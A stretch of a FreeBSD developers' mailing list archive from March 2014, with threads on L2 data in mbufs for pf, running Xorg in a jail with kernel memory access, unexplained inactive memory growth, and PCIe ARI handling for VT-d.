<5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> <5325BC99.2060703@gmail.com> <6302F517-EA46-47C0-85F1-625383DA9EBF@FreeBSD.org> In-Reply-To: <6302F517-EA46-47C0-85F1-625383DA9EBF@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 17:49:17 -0000 On 3/16/2014 9:58 PM, Rui Paulo wrote: > On 16 Mar 2014, at 08:00, Hooman Fazaeli wrote: > >> On 3/16/2014 9:01 AM, Rui Paulo wrote: >>> On 15 Mar 2014, at 16:13, Ian Lepore wrote: >>>> How about an optimization that puts tags in that area when it's >>>> available to avoid the allocation overhead? I don't know much about the >>>> network code, so maybe that's not a sensible idea. >>> The problem with mbuf tags is that they are not fixed size, so they can't easily use UMA (although they use malloc which is backed by UMA, but the performance is lower). If tags are not an option, I suppose Hooman could use fields from struct pkthdr, but this might come with risks if the code is not in the tree. >>> >>> -- >>> Rui Paulo >> pkthdrdoes not seem to have any spare area for custom use. >> >> I wanted to add L2 filtering capabilities to pf(4) firewall, and the first problem >> I faced was how to make L2 headers (src/dst ethernet addresses) available to pf. >> That (seemingly) unused part of mbuf+cluster seemed a good place to store ethernet >> headers. >> >> We already have vlan tag (a sort of L2 data) in pkthdr. What do you think >> about the idea of having a dedicated area for L2 information in mbufs? >> Something like: >> >> struct pkthdr { >> ... >> struct { >> int link_type; >> uint8_t link_hdr[LINKHDR_MAXLEN]; >> uint16_t link_vtag; >> ... >> } link; >> ... >> } > I don't understand your reluctance to use mbuf tags because pf itself is already using mbuf tags. Why can't you use a PF tag like the ones defined in pf_mtag.h? Have you measured the performance impact? > > -- > Rui Paulo I havereallyno problems with tags. After all, they have been created for such use casesas mine from the first place. I was just thinking about making things faster and came with the idea of using that unused space in mbufs. When you do something per-packet, It is good to make it as cheap as possible. And no. I have not yet measured the performance of tags vs. no-tags. -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 19:16:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CD0439A1; Sun, 16 Mar 2014 19:16:28 +0000 (UTC) Received: from acme.spoerlein.net (acme.spoerlein.net [IPv6:2a01:4f8:131:23c2::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5CFE2A62; Sun, 16 Mar 2014 19:16:28 +0000 (UTC) Received: from localhost (acme.spoerlein.net [IPv6:2a01:4f8:131:23c2::1]) by acme.spoerlein.net (8.14.7/8.14.7) with ESMTP id s2GJGPjU072189 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 16 Mar 2014 20:16:26 +0100 (CET) (envelope-from uqs@FreeBSD.org) Date: Sun, 16 Mar 2014 20:16:25 +0100 From: Ulrich =?utf-8?B?U3DDtnJsZWlu?= To: Alexander Leidinger Subject: Re: [PATCH] Xorg in a jail Message-ID: <20140316191625.GG36583@acme.spoerlein.net> Mail-Followup-To: Alexander Leidinger , Tom Evans , "freebsd-x11@freebsd.org" , "freebsd-hackers@freebsd.org" , jamie@freebsd.org References: <20140309190802.00006452@unknown> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140309190802.00006452@unknown> User-Agent: Mutt/1.5.22 (2013-10-16) Cc: Tom Evans , "freebsd-hackers@freebsd.org" , "freebsd-x11@freebsd.org" , jamie@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 19:16:29 -0000 On Sun, 2014-03-09 at 19:08:02 +0100, Alexander Leidinger wrote: > On Sun, 9 Mar 2014 01:26:40 +0000 > Tom Evans wrote: > > > I've been reinstalling my home server with 10-STABLE and wanted to > > compartmentalise all the disparate tasks it does - file storage, DNS, > > web servers and mplayer/xorg/media stuff in general - in to a separate > > jail for each task. > > > > For the most part, this was quite straightforward, apart from with > > xorg I found that it wasn't quite supported. I found Alexander's > > patch, and the work Jamie did in part integrating it, allowing kmem > > read, and reworked it for 10-STABLE. > > Seems you have an old one. Attached is what I was sending to jamie not > long ago (but this is not in the FreeBSD tree due to the conclusion that > such a huge impact on the security part should not be a simple allow.xxx > switch). > > > From Jamie's emails it looked like he was working on a way of properly > > integrating these permissions in a more unified way, but I had a > > pressing need :) > > > > I've tested this on 10-STABLE r262457M, intel graphics (ivy bridge, > > WITH_NEW_XORG), and everything seems to work just fine. I'm going to > > try out radeonkms and nvidia tomorrow also. > > I use it with NVidia hardware (FreeBSD 11-current shortly after the > switch to 11-current), I also have an old machine with a radeon card > where the patch works too (with a very old 10-current). > > > Also please note that whilst I want things jailed for separation and > > neatness concerns rather than security, it must be pointed out that > > letting one jail read and write kernel memory of the whole machine is > > not at all secure! Anyone with root in this xorg jail would be able to > > break free of the jail. > > This is correct. > > > I'm not sure I did the jail allow parameters right, but it works for > > me - I would appreciate someone more competent taking a look! Also, > > dev_io_access should probably be renamed or using it to control access > > to /dev/mem split out from it? Also, is the style right? vim: noet > > sw=8 ts=8 is what I was using. > > The attached patch uses "allow.kmem_access" for both. > > > Cheers > > > > Tom > > > > PS: I haven't tested any input devices yet with this, let me know! > > > > Instructions: > > > > Apply patch, rebuild world and kernel, install and update > > jails/basejails > > > > Create /etc/devfs.rules to unhide the pertinent devices and restart > > devfs This is what I am using, it might be overkill... > > Some parts are not needed, you don't need the console, and with nvidia > hardware you need the nvidia devices. It's also enough to have the tty > you want to use Xorg on (by default ttyv8, my rules also have ttyv0, > but I haven't tested if it is really needed... it's still "naturally > grown" for ttyv0). > > > [devfsrules_unhide_xorg=8] > > add include $devfsrules_hide_all > > add include $devfsrules_unhide_basic > > add include $devfsrules_unhide_login > > add path agpgart unhide > > add path console unhide > > add path consolectl unhide > > add path dri unhide > > add path 'dri/*' unhide > > add path io unhide > > add path mem unhide > > add path pci unhide > > add path tty unhide > > add path ttyv0 unhide > > add path ttyv1 unhide > > add path ttyv8 unhide > > See the attached rules. I have two desktop entries (the second one is > for jails with zfs datasets) in there. Normally you want to have audio > devices, a mouse and a keyboard for a desktop. There are some more > permissions, I also give access to optical drives and USB memory > sticks and a TV tuner, you may not want to give that broad permissions > (remove the cuse/cam/usb part). > > > Set sysctls on jail host to allow jails to have permission granted to > > them to access (in particular) /dev/mem, /dev/io and /dev/dri/* > > > > security.jail.dev_io_access=1 > > security.jail.dev_dri_access=1 > > Do NOT use the sysctls in this patch, they allow all jails to access the > devices, if the devfs rules are appropriate. The attached patch doesn't > have them anymore. > > I had them in in the first implementation, then jamie introduced the > allow.XXX and I transitioned to this but forgot to remove the sysctls > after migrating my jail. I removed them recently before sending the > patch to jamie after his kmem change. > > > Configure your chosen jail to use these devfs rules and allow them to > > use the devices. I use ezjail, so for me this meant changing > > /usr/local/etc/ezjail/ and setting these lines: > > > > export jail_xorg_foo_com_devfs_ruleset="8" > > export jail_xorg_foo_com_parameters="allow.dev_io_access=1 > > allow.dev_dri_access=1" > > With the attached patch this is ="allow.dev_kmem_access" (you don't > need the "=1" part). > > > Load any required kernel modules in the jail host - xorg in the jail > > will not be able to load them for you. Therefore, make sure to load > > i915kms, radeonkms or nvidia before hand. > > Correct. > > > Install and use xorg in the jail as you would normally. Alexander, there's a typo in the devfs rules for xorg: add path 'dri*' unhide needs to be add path 'dri/card*' unhide to actually make /dev/dri/card0 show up in my xbmc jail. Xorg still fails to come up with this patch, as opening the dri/drm stuff eventually fails: [ 12890.548] (II) Loading /usr/local/lib/xorg/modules/drivers/intel_drv.so [ 12890.549] (II) Module intel: vendor="X.Org Foundation" [ 12890.549] compiled for 1.12.4, module version = 2.21.15 [ 12890.549] Module class: X.Org Video Driver [ 12890.549] ABI class: X.Org Video Driver, version 12.1 [ 12890.549] (II) intel: Driver for Intel(R) Integrated Graphics Chipsets: i810, i810-dc100, i810e, i815, i830M, 845G, 854, 852GM/855GM, 865G, 915G, E7221 (i915), 915GM, 945G, 945GM, 945GME, Pineview GM, Pineview G, 965G, G35, 965Q, 946GZ, 965GM, 965GME/GLE, G33, Q35, Q33, GM45, 4 Series, G45/G43, Q45/Q43, G41, B43, HD Graphics, HD Graphics 2000, HD Graphics 3000, HD Graphics 2500, HD Graphics 4000, HD Graphics P4000, HD Graphics 4600, HD Graphics 5000, HD Graphics P4600/P4700, Iris(TM) Graphics 5100, HD Graphics 4400, HD Graphics 4200, Iris(TM) Pro Graphics 5200 [ 12890.551] (--) Using syscons driver with X support (version 2.0) [ 12890.551] (--) using VT number 5 [ 12890.551] drmOpenDevice: node name is /dev/dri/card0 [ 12890.551] drmOpenDevice: open result is 9, (OK) [ 12890.552] drmOpenByBusid: Searching for BusID pci:0000:00:02.0 [ 12890.552] drmOpenDevice: node name is /dev/dri/card0 [ 12890.552] drmOpenDevice: open result is 9, (OK) [ 12890.552] drmOpenByBusid: drmOpenMinor returns 9 [ 12890.552] drmOpenByBusid: Interface 1.4 failed, trying 1.1 [ 12890.552] drmOpenByBusid: drmGetBusid reports (repeat till card15, but they all report no such file or directory, naturally) [ 12890.558] (EE) No devices detected. The host has these lines for a working Xorg boot: [ 1738.086] drmOpenDevice: node name is /dev/dri/card0 [ 1738.086] drmOpenDevice: open result is 10, (OK) [ 1738.086] drmOpenByBusid: Searching for BusID pci:0000:00:02.0 [ 1738.086] drmOpenDevice: node name is /dev/dri/card0 [ 1738.086] drmOpenDevice: open result is 10, (OK) [ 1738.086] drmOpenByBusid: drmOpenMinor returns 10 [ 1738.086] drmOpenByBusid: drmGetBusid reports pci:0000:00:02.0 [ 1738.086] (WW) VGA arbiter: cannot open kernel arbiter, no multi-card support [ 1738.086] drmOpenDevice: node name is /dev/dri/card0 [ 1738.086] drmOpenDevice: open result is 10, (OK) [ 1738.087] drmOpenByBusid: Searching for BusID pci:0000:00:02.0 [ 1738.087] drmOpenDevice: node name is /dev/dri/card0 [ 1738.087] drmOpenDevice: open result is 10, (OK) [ 1738.087] drmOpenByBusid: drmOpenMinor returns 10 [ 1738.087] drmOpenByBusid: drmGetBusid reports pci:0000:00:02.0 [ 1738.087] (**) intel(0): Depth 24, (--) framebuffer bpp 32 [ 1738.087] (==) intel(0): RGB weight 888 If it is returning an FD 9, why the hell does it fail then? I'm using WITH_NEW_XORG and want all that KMS stuff to work for the latest Intel drivers, so I can get accelerated HD video playback. Any thoughts? Uli From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 20:36:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6BFB1CA6 for ; Sun, 16 Mar 2014 20:36:17 +0000 (UTC) Received: from fs.denninger.net (wsip-70-169-168-7.pn.at.cox.net [70.169.168.7]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2EFA5B0 for ; Sun, 16 Mar 2014 20:36:16 +0000 (UTC) Received: from [127.0.0.1] (localhost [127.0.0.1]) by fs.denninger.net (8.14.8/8.14.8) with ESMTP id s2GKaBP6069096 for ; Sun, 16 Mar 2014 15:36:11 -0500 (CDT) (envelope-from karl@denninger.net) Received: from [127.0.0.1] (TLS/SSL) [192.168.1.40] by Spamblock-sys (LOCAL/AUTH); Sun Mar 16 15:36:11 2014 Message-ID: <53260B36.2070409@denninger.net> Date: Sun, 16 Mar 2014 15:36:06 -0500 From: Karl Denninger User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Tracking down what has inact pages locked up Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms010005010301020203050001" X-Antivirus: avast! (VPS 140316-0, 03/16/2014), Outbound message X-Antivirus-Status: Clean X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 20:36:17 -0000 This is a cryptographically signed message in MIME format. --------------ms010005010301020203050001 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Given the following: 3 users Load 2.66 2.46 2.37 Mar 16 15:26 Mem:KB REAL VIRTUAL VN PAGER SWAP P= AGER Tot Share Tot Share Free in out in = out Act 879332 19864 8732852 54112 472560 count = 5 All 1681232 26376 9557840 218308 pages = 13 Proc: Interrup= ts r p d s w Csw Trp Sys Int Sof Flt ioflt 25470 to= tal 3 206 48 71k 28k 153k 15k 279 7015 1202 cow 11 ua= rt0 4 1487 zfod 1647 uh= ci0 16 6.7%Sys 1.9%Intr 4.0%User 0.0%Nice 87.3%Idle 122 ozfod pc= m0 17 | | | | | | | | | | 8%ozfod ehc= i0 uhci =3D=3D=3D+>> daefr = uhci1 21 73 dtbuf 2063 prcfr 523 uh= ci3 ehci Namei Name-cache Dir-cache 485946 desvn 6426 totfr 800 arc= msr0 30 Calls hits % hits % 163373 numvn react 1065 cp= u0:timer 8636 8554 99 2 0 121487 frevn pdwak 220 mp= s0 256 833329 pdpgs 6090 em= 0:rx 0 Disks da0 da1 da2 da3 da4 da5 da6 intrn 5759 em0= :tx 0 KB/t 11.07 63.91 14.88 20.64 16.49 14.03 0.00 4801680 wire em0= :link tps 6 1222 25 81 73 26 0 608344 act 67 em1= :rx 0 MB/s 0.06 76.26 0.36 1.63 1.17 0.35 0.00 18579164 inact 69 em1= :tx 0 %busy 0 20 7 38 35 8 0 472216 cache em1= :link 3224 free ah= ci0:ch0 1694896 buf ah= ci0:ch2 541 cp= u1:timer 744 cp= u11:time 515 cp= u2:timer 673 cp= u10:time 811 cp= u5:timer 955 cp= u13:time 473 cp= u4:timer 442 cp= u12:time 542 cp= u3:timer 524 cp= u8:timer 530 cp= u6:timer 546 cp= u9:timer 540 cp= u7:timer 940 cp= u14:time 443 cp= u15:time Note the "free" and "inact" counts. The system ought, if I'm reading the sysctl variables correctly, be=20 attempting to aggressively reclaim that memory. vm.v_free_min: 38595 vm.v_free_target: 130338 vm.v_free_reserved: 8014 vm.v_inactive_target: 195507 vm.v_cache_min: 0 vm.v_cache_max: 0 vm.v_pageout_free_min: 34 vm.swap_enabled: 1 It's not. In fact, what's happening is that it is (slowly) filling the swap! There is nothing in the RSS or size of the processes that give=20 indication of a rogue process that has run away with all the memory,=20 never mind that it obviously isn't being touched or it would be in the=20 "active" bucket. Shutting down the user processes (this is a pretty=20 busy box) does not clear any of it out. Is there a reasonable way to determine who or what has that memory=20 locked up -- and thus why the vm system is not demoting that space into=20 the cache bucket so it can be freed (which, if my understanding is=20 correct, should be happening long before now!) The system has both ZFS and UFS filesystems on it. I did put the PR on=20 there I submitted to change the ARC cache sizing to dynamic, and it is=20 (correctly) sizing down the ARC cache over time to the point that it is=20 now pinned on the minimum due to low RAM. This is what I have loaded as modules: Id Refs Address Size Name 1 36 0xffffffff80200000 166de08 kernel 2 1 0xffffffff8186e000 20400 geom_eli.ko 3 1 0xffffffff8188f000 6dc8 aesni.ko 4 1 0xffffffff81a12000 15af3a zfs.ko 5 1 0xffffffff81b6d000 3847 opensolaris.ko 6 1 0xffffffff81b71000 34d3 ums.ko 7 1 0xffffffff81b75000 7c18 uftdi.ko 8 1 0xffffffff81b7d000 5134 ucom.ko 9 1 0xffffffff81b83000 2a44 uhid.ko 10 2 0xffffffff81b86000 10a42 ipfw.ko 11 1 0xffffffff81b97000 478d ipfw_nat.ko 12 1 0xffffffff81b9c000 daf2 libalias.ko 13 1 0xffffffff81baa000 1f4b daemon_saver.ko FreeBSD 10.0-STABLE #13 r263037M: Fri Mar 14 14:58:11 CDT 2014=20 karl@NewFS.denninger.net:/usr/obj/usr/src/sys/KSD-SMP --=20 -- Karl karl@denninger.net --------------ms010005010301020203050001 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFTzCC BUswggQzoAMCAQICAQgwDQYJKoZIhvcNAQEFBQAwgZ0xCzAJBgNVBAYTAlVTMRAwDgYDVQQI EwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoTEEN1ZGEgU3lzdGVtcyBM TEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkqhkiG9w0BCQEWIGN1c3Rv bWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0MB4XDTEzMDgyNDE5MDM0NFoXDTE4MDgyMzE5 MDM0NFowWzELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFzAVBgNVBAMTDkthcmwg RGVubmluZ2VyMSEwHwYJKoZIhvcNAQkBFhJrYXJsQGRlbm5pbmdlci5uZXQwggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQC5n2KBrBmG22nVntVdvgKCB9UcnapNThrW1L+dq6th d9l4mj+qYMUpJ+8I0rTbY1dn21IXQBoBQmy8t1doKwmTdQ59F0FwZEPt/fGbRgBKVt3Quf6W 6n7kRk9MG6gdD7V9vPpFV41e+5MWYtqGWY3ScDP8SyYLjL/Xgr+5KFKkDfuubK8DeNqdLniV jHo/vqmIgO+6NgzPGPgmbutzFQXlxUqjiNAAKzF2+Tkddi+WKABrcc/EqnBb0X8GdqcIamO5 SyVmuM+7Zdns7D9pcV16zMMQ8LfNFQCDvbCuuQKMDg2F22x5ekYXpwjqTyfjcHBkWC8vFNoY 5aFMdyiN/Kkz0/kduP2ekYOgkRqcShfLEcG9SQ4LQZgqjMpTjSOGzBr3tOvVn5LkSJSHW2Z8 Q0dxSkvFG2/lsOWFbwQeeZSaBi5vRZCYCOf5tRd1+E93FyQfpt4vsrXshIAk7IK7f0qXvxP4 GDli5PKIEubD2Bn+gp3vB/DkfKySh5NBHVB+OPCoXRUWBkQxme65wBO02OZZt0k8Iq0i4Rci WV6z+lQHqDKtaVGgMsHn6PoeYhjf5Al5SP+U3imTjF2aCca1iDB5JOccX04MNljvifXgcbJN nkMgrzmm1ZgJ1PLur/ADWPlnz45quOhHg1TfUCLfI/DzgG7Z6u+oy4siQuFr9QT0MQIDAQAB o4HWMIHTMAkGA1UdEwQCMAAwEQYJYIZIAYb4QgEBBAQDAgWgMAsGA1UdDwQEAwIF4DAsBglg hkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHw4 +LnuALyLA5Cgy7T5ZAX1WzKPMB8GA1UdIwQYMBaAFF3U3hpBZq40HB5VM7B44/gmXiI0MDgG CWCGSAGG+EIBAwQrFilodHRwczovL2N1ZGFzeXN0ZW1zLm5ldDoxMTQ0My9yZXZva2VkLmNy bDANBgkqhkiG9w0BAQUFAAOCAQEAZ0L4tQbBd0hd4wuw/YVqEBDDXJ54q2AoqQAmsOlnoxLO 31ehM/LvrTIP4yK2u1VmXtUumQ4Ao15JFM+xmwqtEGsh70RRrfVBAGd7KOZ3GB39FP2TgN/c L5fJKVxOqvEnW6cL9QtvUlcM3hXg8kDv60OB+LIcSE/P3/s+0tEpWPjxm3LHVE7JmPbZIcJ1 YMoZvHh0NSjY5D0HZlwtbDO7pDz9sZf1QEOgjH828fhtborkaHaUI46pmrMjiBnY6ujXMcWD pxtikki0zY22nrxfTs5xDWGxyrc/cmucjxClJF6+OYVUSaZhiiHfa9Pr+41okLgsRB0AmNwE f6ItY3TI8DGCBQowggUGAgEBMIGjMIGdMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlk YTESMBAGA1UEBxMJTmljZXZpbGxlMRkwFwYDVQQKExBDdWRhIFN5c3RlbXMgTExDMRwwGgYD VQQDExNDdWRhIFN5c3RlbXMgTExDIENBMS8wLQYJKoZIhvcNAQkBFiBjdXN0b21lci1zZXJ2 aWNlQGN1ZGFzeXN0ZW1zLm5ldAIBCDAJBgUrDgMCGgUAoIICOzAYBgkqhkiG9w0BCQMxCwYJ KoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDAzMTYyMDM2MDZaMCMGCSqGSIb3DQEJBDEW BBQHP6rKNc+kGSFEZftraSONh3Uz4zBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIG0BgkrBgEEAYI3EAQxgaYwgaMwgZ0xCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoT EEN1ZGEgU3lzdGVtcyBMTEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkq hkiG9w0BCQEWIGN1c3RvbWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0AgEIMIG2BgsqhkiG 9w0BCRACCzGBpqCBozCBnTELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExEjAQBgNV BAcTCU5pY2V2aWxsZTEZMBcGA1UEChMQQ3VkYSBTeXN0ZW1zIExMQzEcMBoGA1UEAxMTQ3Vk YSBTeXN0ZW1zIExMQyBDQTEvMC0GCSqGSIb3DQEJARYgY3VzdG9tZXItc2VydmljZUBjdWRh c3lzdGVtcy5uZXQCAQgwDQYJKoZIhvcNAQEBBQAEggIAlyW1O69A1a9vGdIkbUQfeEtZpsIe RQo1/jOrP0joYTJEoUe/9Bwyj6y/5Q+UunD7Mv46KO4t8oEZwQjWx0CwXtDGiQKeaFyubxDL zQ+YVKxhBXa21Y2ulDvz7BD/vb5ruNeYEOjiZtncLNM0ZDnIt/8CACdN46CKgZHE5H9JsFhZ /jSmUarmAPtH4ePzF4lswC+6QR5dUGd2ussr8UMq8AR3u9o3DMIZNCT2yHSWLGpypOdQ7TWt R0h/vfrVbn8vh7OERzkn1SeS/yRwxjbW8Bfs74uRv4h+m+6Rl6ynqcFkEQglblFI9OHLWQuO K2pMhXhWvzDdWeCDdkOF72gDt3IkKcD7YOvImpGKbUHIcVQ0OjS3g3UiCbmPmut8nQRTHTeI JwDN92kQxWibkpLLlc82GplmIerl3QYNXTOIPTcyD6Hh2RRV86rgXzg9ujUSmKZ5BK3J2Z9v a3b8IbxEI7hH7Ytm1M+CZLpVNwJVD6v57f9mBaDm72bB6yujEkfTdk85lpohRrcEm9zCB3nL nKT63LAxpCLx+SKpqpPrbpZla6CvxWxN01nS0SA0rrPpsVKAZawaiR5zr68EUuew0gZnESOq pMjpe09A+YxS9I1r3Mo3YKz9EXDmjBNkPCd70jZMRNeLPeMDVwShAj9BE96NMWPJWjVMa4ix rcAnhbsAAAAAAAA= --------------ms010005010301020203050001-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 21:03:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2235F33A for ; Sun, 16 Mar 2014 21:03:58 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9B0FD31D for ; Sun, 16 Mar 2014 21:03:57 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2GL3q3k056304; Sun, 16 Mar 2014 23:03:52 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2GL3q3k056304 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2GL3qcj056303; Sun, 16 Mar 2014 23:03:52 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 16 Mar 2014 23:03:52 +0200 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140316210352.GB21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="oLBj+sq0vYjzfsbl" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 21:03:58 -0000 --oLBj+sq0vYjzfsbl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 16, 2014 at 11:05:16AM -0400, Ryan Stone wrote: > On Sun, Mar 16, 2014 at 10:12 AM, Konstantin Belousov > wrote: > > This is expected, but it would break VT-d busdma, I think. > > > > This is not said in the VT-d spec about ARI, but I believe that > > DMAR would split the function number by 7-3/2-0 bits, same as for > > the non-ARI devices. Then the transactions will be translated by > > the wrong context. >=20 > Ah, good catch. I took a quick look at the spec and the code, and I > believe that I see the problem. I think that the proper solution is > to add a new method, pcib_get_rid(), that returns (bus << 8) | (slot > << 5) | func for non-ARI devices and (bus << 8) | func for ARI > devices. Then we could add a pci_get_rid() that just calls the pcib > method, and the DMAR code could be changed to work in terms of the RID > instead of bus/slot/function. My reading of the spec is that VT-d is > really implemented in terms of the RID anyway, but the spec authors > took pains to give examples in terms of bus/slot/function because > that's how the software developers understand things. Well, I agree, but the current DMAR driver is also written in term of bsf. So using the pci_get_rid() is possible, but adding a methods like pci_get_fake_slot/func, which would return ARI rid converted into fake slot and function at the 3/2 boundary is less work. Anyway, please add whatever you find suitable as the accessor method, and I hope to be able to produce a patch that would convert Intel IOMMU to use it instead of direct manipulations of bsf. >=20 > Do you know if bhyve's pci passthrough code uses the same code to add > DMAR entries as the busdma code? If not I'll have to track down how > bhyve does it because it would likely have the same problem. I am not aware of bhyve code. They definitely use their own code for the passthrough right now. >=20 > > From other minor notes, having additional line for "ARI enabled" > > message under bootverbose would make already excessive PCI config > > dump even more problematic. >=20 > I can remove it. At the time I wanted some kind of indication that > ARI was being used, but pciconf can tell you that now so it's not > really necessary. Or stuff it into the already printed line. --oLBj+sq0vYjzfsbl Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTJhG3AAoJEJDCuSvBvK1BMNkQAIreZSfturnisdhh1GOnGYyv Uu8JQBUOzCivPm98akiZa4p2b3TfyOtC1piXeEhKkP0eXj1yxcWusnVjX4kqj2Y9 4alTbA3gATLRUhywK74hHa6glsmKIYy5/sMkO1MtvkOPux9simo/Uv6WZjjyKmNV cKeUlA392xCFD+HJnvHvmxYh7VoCfZvVanMK5H3ZRP0GZHpZV8DsrLl2Ww8WJm+m hyQIN3+Pql4Fgsx8iz6tUfUizgij1u03ux181ShFCKXpAQqMGDp7wexyRsfVloNM 8EFRoJeGjM7mPNr2Fi9YsRXQpMaIzt2MTe4PtUtYqXSLKsK8UZSdxN6A7PW7dpK0 V8DIXJZItMtjh4iocGn4pHNyjXSjS68pzb3lYqfvWhW+XlOTu3KgaCZys2fvb0Iv dNZ2j0WIoKbP6HvXsaPIWYZwcTceM42nleZFmEhkUUbpYAv+YwmRzW9DujW767iK dXXLG/SLj9MBkWJDkDTnyNA1f42BGX1PfJgddqxIrsiigbe8KXCO5vHisrLQgTzg xB6Smv4ilvBkCG0Ed8ouuMsFzranTswlvRRKQa6RbE+iechueg97+7C4OoEBflXW dP0lBnIz+lkSyExOm58fk0iyGHqLFyFjGbeCzmFyC8cn9LfUVve9O0bZmDSjNYKF Xgdp6RohFvNV/3QYjWlf =8XT7 -----END PGP 